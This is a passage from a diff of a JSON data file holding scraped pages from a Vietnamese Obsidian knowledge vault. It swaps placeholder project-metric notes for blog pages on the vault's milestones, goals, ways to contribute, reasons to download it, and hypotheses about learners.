sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/1000 người mở vault 3 lần", + "Tiêu đề": "Những dấu mốc", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Những dấu mốc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[2000 người mở vault 1 lần]]\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "# 2023\r\n- 01/05: Ra mắt phiên bản web\r\n- 28/04: Đổi tên vault thành \"Obsidian, quản lý dự án và công cụ nghĩ\" \r\n- 12/04: Đổi tên vault thành \"Quản lý dự án và công cụ nghĩ\" \r\n- (Không nhớ ngày): Xong bộ cài\r\n- (Không nhớ ngày): Đổi tên thành \"Obsidian và Git cho quản lý dự án\" \r\n- (Không nhớ ngày): Tạo vault \"Nhập môn Obsidian\" \r\n- (Không nhớ ngày): Đặt tên dự án là \"Nhóm hỗ trợ người tự học lập trình hoặc quản lý dự án\" \r\n- (Không nhớ ngày): Giới thiệu về Obsidian trong nhóm *Product Maker Vietnam*\r\n\r\n# 2022\r\n- 25/11: Tham gia đóng góp ý kiến tại *Buổi tham vấn: Sự tham gia của các tổ chức xã hội/cộng đồng trong việc thực hiện Mục tiêu Phát triển Bền vững (SDGs) thông qua các hoạt động và mô hình dựa vào cộng đồng* do Bộ Kế hoạch và Đầu tư với Tổ chức Hợp tác Phát triển Đức (GIZ) tổ chức\r\n- 15/10: Giới thiệu về Obsidian tại [2GROW Forum – Diễn đàn Kết nối Thanh niên & Đội/Nhóm Thanh niên vì Bình đẳng giới](https://www.facebook.com/events/472983171387474/472983181387473/?active_tab=about \"2GROW Forum: Kết nối - Giao thoa | Facebook\")\r\n- 19/2: [Lập kênh tiếng Việt trong Discord Obsidian](https://discord.com/channels/686053708261228577/694233507500916796/944542788995923989)\r\n- 18/2: Viết xong plugin [Graphvidian](https://forum.obsidian.md/t/graphviz-and-hierarchical-graph-layout-a-review-and-plugin-proposal/31596/2?u=ooker)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OK" + "id": "OY" }, { - "Tiêu đề": "10000 người biết tới sự tồn tại của vault", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/10000 người biết tới sự tồn tại của vault", + "Tiêu đề": "Nơi này là nơi nào?", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Nơi này là nơi nào?", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \n```\nThành quả hỗ trợ:: [[50% người chia sẻ vault cho bạn bè]]\nThành phẩm:: [[Truyền thông|Các bài viết truyền thông về Trấn Kỳ]]\n", + "Toàn bộ nội dung": "# Mục tiêu\nĐây là một vault Obsidian dành riêng cho người Việt với mục tiêu:\n- Hỗ trợ những ai chưa từng làm quen với Obsidian và Git cũng như kiến thức về phát triển sản phẩm có thể nhanh chóng học những ứng dụng và kiến thức này từng bước một để làm một kho dữ liệu quản lý dự án. Bạn có thể dùng vault này để tự học hoặc như một giáo án để hỗ trợ bạn bè của mình ([[⚔️ Hướng dẫn Obsidian và Git]]) \n- Thu thập những hiểu biết sâu (insight) mà những người đang tự học quản lý dự án nhiều khi cũng lờ mờ nhận ra nhưng không có ai ở ngay đó để đẩy vấn đề đi xa hơn, hoặc chưa biết diễn giải làm sao. còn những người mới học thì thấy quá tải, nhức đầu vì những lời khuyên, bài viết trên mạng dù hay đến mấy cũng rời rạc. ([[⚡Hiểu biết sâu]]) \n- Tổng hợp những nguồn tài nguyên hay, đặc biệt cho những nhóm dự án chưa có nhiều kinh nghiệm và quá thiếu người. Hướng tới phát triển bền vững ([[📜Tài nguyên]) \n- Thử nghiệm một dự án mở ([[📐 Dự án]]) \n\nNhiều cái rất bình thường và hiển nhiên với người có kinh nghiệm, lại là những thử gây trắc trở với những người mới. Có thể ở đâu đó có những bài viết chất lượng, đậm đặc insight, nhưng nó lại không cạnh tranh nổi với các bài viết chú trọng vào SEO.\nNgười tự học quản lý dự án hoặc lập trình\n\nNgược lại, vì tính chất công việc, những người có kinh nghiệm thực tế đi quá sâu nên không có nhiều thời gian để mở rộng\n\nNhững vấn đề mà một dự án nhỏ, không có nhiều tiền và cảm thấy có quá nhiều việc sẽ có lúc cần dùng đến.\n\nKhông phát minh lại bánh xe, cái nào người khác làm rồi mà làm hay hơn mình thì chỉ dẫn link hoặc copy\n\nLà nơi để mọi người biết được thêm về các chuyên ngành khác, tránh việc phân mảnh kiến thức\nĐể hiểu thêm về động lực thực hiện dự án này, xem bài [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]]\n\n# Cách tổ chức dữ liệu\nCách vault này tổ chức cũng giống Wikipedia, nhưng tiêu đề từng trang không phải là một chủ đề mà là một câu. Như vậy thì sự tập trung vào một ý niệm sẽ được đẩy lên cao hơn, cũng sẽ dễ làm mình thấy được sự liên kết giữa các ý lại với nhau hơn. \n\n[[Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác]]\n\nGiới thiệu khái niệm như trong [[Lập trình]], so sánh sự khác nhau. Vì thực chất thuật ngữ mới là thứ người mới cảm thấy loạn, rối, mất phương hướng. Ngoài việc khi tiếp cận một lĩnh vực mới ta thấy những thuật ngữ, khái niệm khó nhó, mà sự tiện lợi của người đã hiểu rồi và lịch sử phát triển của lĩnh vực cũng tạo nên sự rối rắm đó. \nChú trọng ghi lại những mối quan hệ giữa các khái niệm, chứ không cố gắng giải thích khái niệm đó là gì. Cái nào không quá khó để mò hoặc google ra thì không ghi. Cái nào phải loay hoay một lúc mới nhận ra thì sẽ ghi\n\nĐa phần ghi chú trong đây đều ở trạng thái chưa hoàn thiện. Thứ cần được hoàn thiện là sự liên kết giữa các trang và nội dung một số trang hay được đọc và chia sẻ nhiều.\n\n# Các chủ đề được bàn đến trong [[⚡Hiểu biết sâu]]\n![[Các lĩnh vực trong vault.png]]\n\nCó thể thấy là nó cũng quá đa dạng, và có thể bạn không cần biết hết. Nhưng tất cả những cái này bạn sẽ phải tự học, và khi dự án bạn còn nhỏ thì bạn sẽ phải cáng đáng hết tất cả những vấn đề này\n\nCó hơi hướng thiên về lĩnh vực phi lợi nhuận hoặc học thuật\n\n# Cách [[⚔️ Hướng dẫn Obsidian và Git]] được thiết kế\nNếu bạn chưa rành về lập trình, thì khó khăn bạn gặp sẽ nhiều hơn. Vừa muốn tập trung vào ý tưởng vừa cần phải học ngôn ngữ đó.\nCác bài tập không chỉ được thiết kế để bạn nắm được cách sử dụng Obsidian và các phần mềm bổ trợ khácChỉnh từ từ để không bị ngộp, nhưng sau đó vứt đi, mà còn chính là vault của bạn trong việc quản lý dự án\nCác bài học phải đến từ serious use of learner. Nó phải giải đáp được nhu cầu có thực của riêng họ, chứ không phải chỉ là một ví dụ cho dễ hiểu xong rồi xóa đi. Bài tập được giao cho họ phải là thứ họ rồi cũng sẽ phải làm\nKhông học bài bản ngôn ngữ, nhưng đụng vấn đề nào cần giải thích thì sẽ giải thích, cũng như dẫn đến các tài liệu sâu hơn, bỏ qua những cái nhìn vào cũng đoán đoán, mò mò được\nTất nhiên, học được bài bản thì rất tốt, nhưng [[Việc mò mẫm vui, đỡ phải nghĩ và thường là hiệu quả hơn là đọc hướng dẫn cẩn thận]], [[Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu]]. \nKhông ai đến với lập trình vì muốn lập trình cả, mà là vì họ cần giải quyết vấn đề khác, mà vấn đề đó cần lập trình\n\n## [[📜Tài nguyên]\n\nLao ngay vào code trong product thì hổng kiến thức do nhiều chỗ viết tắt cho dễ đọc, dễ quản lý. Học từ từ thì thấy lãng phí thời gian.\nĐể đọc được tới dòng này là cả một sự nỗ lực ở lại của bạn. Dù bạn có từng đọc bao nhiêu trang khác rồi thì \nChỉ ghi lại những thứ mất nhiều thời gian để nhận ra. Cái nào dễ thấy thì ko ghi \n- muốn nhưng google được là có thì không ghi. Khi nào bị bug rồi mới phát hiện ra một cái gì đó mà không thấy ai nói gì thì mới ghi\n- Nếu cản trở sự đọc hiểu mà phải google thì cũng ghi ra \n\n\nNguồn đánh dấu những cái ở trên nó. Trang nào không có nguồn là trang đó tự nghĩ. Chữ nguồn nhiều khi cũng ko đúng. Một số cái là copy hoàn toàn. Một số cái là nắm bắt ý ghi lại. Với để ở đâu cũng khó, vì có những cái tự tổng hợp lại thì chỉ nên để là tham khảo. Nhưng cái này ko được ưu tiên\n\n---\n\nVault này được khởi xướng bởi Quả Cầu.\n\nBọn mình khuyến khích bạn tải vault trực tiếp hơn là đọc trên web. [[Tại sao lại cần tải kho về hơn là đọc trên web|Tại sao tôi lại nên làm vậy?]] \n\nNếu bạn có một phản hồi về một ý tưởng của vault, hoặc có nhu cầu được trao đổi 1-1, hoặc bất cứ vấn đề gì, hãy xem [[Mọi người hay thảo luận ở đâu?]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-07T18:17:00.000Z", - "id": "OL" + "Ngày tạo": "2023-07-25T03:54:00.000Z", + "Ngày cập nhật": "2024-08-24T14:00:00.000Z", + "id": "OZ" }, { - "Tiêu đề": "2000 người mở vault 1 lần", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/2000 người mở vault 1 lần", + "Tiêu đề": "Tôi có thể giúp gì?", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Tôi có thể giúp gì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[2500 người tải bộ cài về]]\r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "Xem thêm:: [[Kế hoạch phát triển dự án]]\n\nĐây là một số thứ bạn có thể giúp mà không cần dùng tiền. \n## Làm các khảo sát\n- Làm [khảo sát về sự hữu ích của vault cho bạn](https://quảcầu.cc/khao-sat-nguoi-dung-vault-nhap-mon-obsidian/?utm_source=CV+%C2%BB+T%C3%B4i+c%C3%B3+th%E1%BB%83+gi%C3%BAp+g%C3%AC%3F&utm_medium=Kh%E1%BA%A3o+s%C3%A1t+ng%C6%B0%E1%BB%9Di+d%C3%B9ng+vault+Nh%E1%BA%ADp+m%C3%B4n+Obsidian&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2)\n\n## Thảo luận với mọi người\nBạn có thể chọn một ghi chú ạn thấy thú vị nhất và [[Mọi người hay thảo luận ở đâu?|thảo luận với mọi người]].Điều này sẽ giúp nội dung của nó hoàn thiện hơn\n\n## Tham gia vào mạng kết nối nhu cầu\n## Hỗ trợ những bạn mới\n## Thiết kế hoặc lập trình web \n\n## Ủng hộ tiền\nhttps://opencollective.com/nhom-tu-hoc/donate\n\n[[Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có]], [[Crowdfunding depends on highly visible public work]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OM" + "Ngày cập nhật": "2024-09-02T06:45:00.000Z", + "id": "Oa" }, { - "Tiêu đề": "2500 người tải bộ cài về", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/2500 người tải bộ cài về", + "Tiêu đề": "Tại sao lại cần tải kho về hơn là đọc trên web?", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Tại sao lại cần tải kho về hơn là đọc trên web", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[4000 người nhấp vào link tải]]\r\nThành quả hỗ trợ:: [[1000 người cho phản ứng với bài đăng giới thiệu về vault]]\r\n", + "Toàn bộ nội dung": "Trong ngành khoa học máy tính, [[Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó]]. Điều đó khiến cho [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác|chúng ta phải đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]. Hay nói cách khác, [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối]]. Xu thế hiện nay là [[Các nhóm làm việc qua mạng ngày càng nhiều]], đến nỗi khi được hỏi về app đa số mọi người sẽ chỉ nhắc đến những cloud app như Google Drive hay Notion. Nghĩa là chúng ta đã hy sinh quá nhiều sự tự chủ dữ liệu cho sự tiện lợi đến nỗi chúng ta không còn biết gì về một loạt các phần mềm khác mạnh mẽ hơn. Việc đánh mất sự tự chủ đó là lý do khiến cho chúng ta luôn cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả. Đây chính là một sự bất lực học được. [[Người không học về lập trình thấy việc lập trình như làm phép thuật]], trong khi [[Lập trình viên biết lập trình chủ yếu là nhờ biết google]]. Bạn cũng biết google vậy, vậy tại sao vẫn thấy nó giống như làm phép thuật? Chúng tôi nghĩ một phần lớn là vì đã từ lâu bạn không còn cảm giác mình có sự tự chủ với dữ liệu của mình rồi. Khi bạn đã có lại được cảm giác đó, bạn sẽ thấy mình tự tin hơn về công nghệ.\n\nBạn có thể bắt đầu có lại cảm giác đó bằng cách tải dữ liệu của web này về.\n\n[[Hướng dẫn tải kho]]{ .md-button .md-button--primary }\n\n## Những thứ mà chỉ phiên bản trên Obsidian mới có mà bản web không có\nVề cơ bản, những thứ này có được là do [[Obsidian lưu dữ liệu trên máy của người dùng]]. Đây là một số hệ quả của việc đó:\n\n### Tất cả các phím tắt, chức năng và plugin của Obsidian, bao gồm cả những thứ bạn thiết lập riêng cho mình\nVí dụ:\n#### Đồ thị mối liên hệ giữa các ghi chú trong phần [[⚡Hiểu biết sâu]]\n![](https://i.imgur.com/gwdeLlL.png)\n\nĐồ thị này cho thấy được có những ghi chú nào nổi trội trong đây, cũng như mức độ liên kết của chúng. Bạn có thể thấy chúng rời rạc khá nhiều.\n\n#### Những trang nào liên kết tới trang đang đọc\n![](https://i.imgur.com/UbXZspz.png)\n\n#### Lịch sử phát triển \n![](https://i.imgur.com/UyIxTHF.png)\nXem thêm:: [[Theo tính năng của plugin|Obsidian có những tính năng nào hay?]]\n\n### Thời gian chuyển trang gần như là tức thời\nĐiều này giúp bạn nhanh chóng kiểm tra giả thiết các câu hỏi của bạn. \n\nXem thêm:: [[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\n\n### Các tập tin không thể hoặc không cần phải để lên web\nVí dụ:\n- Các tập tin không được dùng trong ghi chú nào cả\n- Các tập tin trong thư mục `Ξ Thiết lập` \n- Các tập tin có dung lượng lớn hơn 100 MB\n\n## Vậy bản web được sinh ra để làm gì?\n- Dễ giới thiệu cho người mới, \n- Dễ quảng bá dự án,\n- ~~Tăng SEO~~ Thêm nguồn tài nguyên chất lượng cho các máy tìm kiếm như Google, Bing. Xem thêm:: [[Xây dựng hệ thống tri thức cộng đồng]]\n- Thêm nguồn ngữ liệu chất lượng để huấn luyện cho máy\n\n### Những lỗi trên bản web \n- Thanh tìm kiếm không hoạt động\n- Không tự chuyển trang mỗi lần sửa tên ghi chú nên hay bị 404\n- Dataview không được tự động cập nhật\n- Cache 🤡\n\nVí dụ, những trang có Dataview sẽ không chắc được cập nhật, do plugin tạo web không thấy trang đó có sự thay đổi gì.\n\nVề cơ bản, **những lỗi này không được ưu tiên sửa**. Do nhiệm vụ của nó là để dễ giới thiệu cho người mới, nên khi nó đã làm xong nhiệm vụ của mình thì có lẽ nên tập trung sức lực cho những thứ khác. Để biết những thứ cần được ưu tiên hơn, bạn có thể đọc trong [[📐 Dự án]].\n\n[[Hướng dẫn tải kho]]{ .md-button .md-button--primary }\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "ON" + "Ngày cập nhật": "2024-09-02T06:55:00.000Z", + "id": "Ob" }, { - "Tiêu đề": "4000 người nhấp vào link tải", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/4000 người nhấp vào link tải", + "Tiêu đề": "Về chữ Nguồn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/9 Blog/Về chữ Nguồn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[10000 người biết tới sự tồn tại của vault]]\r\n", + "Toàn bộ nội dung": "- Có khi là copy lại từ đầu đến cuối quan điểm của nguồn\n- Có khi là viết lại ý của nguồn theo quan điểm của mình\n\n- Có khi đó là quan điểm của nguồn khác, nguồn đó chỉ đang thuật lại\n- Có khi là có xào nấu lại theo ý của mình\n\nỞ phía trên là nguồn\nKhông có nguồn có thể là thiếu nguồn, có thể là tự nghĩ\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OO" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-20T14:37:00.000Z", + "id": "Oc" }, { - "Tiêu đề": "50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian", + "Tiêu đề": "C Obsidian, quản lý dự án và công cụ nghĩ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: [[Người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm:: \r\n\r\n\r\n[[Số người tham gia mới (user acquisition)]]\r\n[[Số người tiếp tục tham gia theo thời gian (retention)]]\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OP" + "Ngày tạo": "2023-10-28T15:41:00.000Z", + "Ngày cập nhật": "2023-12-25T13:30:00.000Z", + "id": "Od" }, { - "Tiêu đề": "50% người dễ dàng tự sử dụng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50% người dễ dàng tự sử dụng", + "Tiêu đề": "Giả thiết về người tham gia", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về người tham gia", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%#file/thành-quả%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[80% người mới đến được nơi họ cần đến trong 3 giây]]\r\n\r\nThành phẩm:: [[Các buổi cố vấn riêng]]\r\n", + "Toàn bộ nội dung": "# Người học\n- Hiểu được việc đáp ứng nhu cầu học không đồng nhất với giảng bài\n- Hiểu được mình nên có một nhu cầu rất cụ thể nào đó trước khi vào đây, chứ không phải để học căn bản\n# Người khởi xướng\n- Thấy việc mình được chọn thời điểm học, người tham gia và nội dung buổi thảo luận sao cho phù hợp với mình \n- Hiểu được mình cần phải chủ động nhắn với người hướng dẫn và chủ động định giá\n# Người hướng dẫn\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OQ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-19T07:37:00.000Z", + "id": "Oe" }, { - "Tiêu đề": "50% người hỏi về sau buổi demo", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50% người hỏi về sau buổi demo", + "Tiêu đề": "Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thành phẩm:: [[Demo tại nhóm phát triển sản phẩm]]\r\n", + "Toàn bộ nội dung": "- Hiểu được việc đáp ứng nhu cầu học không đồng nhất với giảng bài\n- Hiểu được mình nên có một nhu cầu rất cụ thể nào đó trước khi vào đây, chứ không phải để học căn bản\n- Hiểu được mình cần phải chủ động nhắn và chủ động định giá\n- Thấy việc được chủ động định giá làm họ thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n- Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n- Hiểu được các buổi học được triển khai thế nào\n- Dành thời gian đọc hết\n- Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n[[Văn Đinh Phú]]\n[[❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động]]\n[[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Sự tiếp nhận với ý tưởng/Mục tiêu và câu hỏi phỏng vấn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OR" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-16T07:05:00.000Z", + "id": "Of" }, { - "Tiêu đề": "50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó", + "Tiêu đề": "Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/chưa-làm\r\nĐộ cấp thiết:: #đct/thấp\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", + "Toàn bộ nội dung": "# Giả thiết về người đọc\n- Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n\t- Thấy việc được chủ động định giá làm họ thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n- Thấy việc mình được quyền định giá thấp không có nghĩa là chất lượng kém\n- Nhắm được mức giá phù hợp\n- Không thấy việc phải tự định giá là nhức đầu\n- Hiểu được các buổi học được triển khai thế nào\n- Hiểu mình cần lên lộ trình học và kết quả đầu ra mong muốn\n- Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n- Dành thời gian đọc hết các bài viết\n\n# Giả thiết về người học\n- Website họ cần cào không phức tạp\n- Lượng tiếp cận cao\n- Số tiền đến từ những người trả tiền cao bù được với số tiền từ người trả tiền thấp\n\n[[Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]]\n[[Nhập sự kiện vào Google Calendar|Cào dữ liệu web vào Google Calendar]]\n[[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Sự tiếp nhận với ý tưởng/Mục tiêu và câu hỏi phỏng vấn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "OS" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-17T17:23:00.000Z", + "id": "Og" }, { - "Tiêu đề": "500 người mở vault ít nhất 10 lần", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn 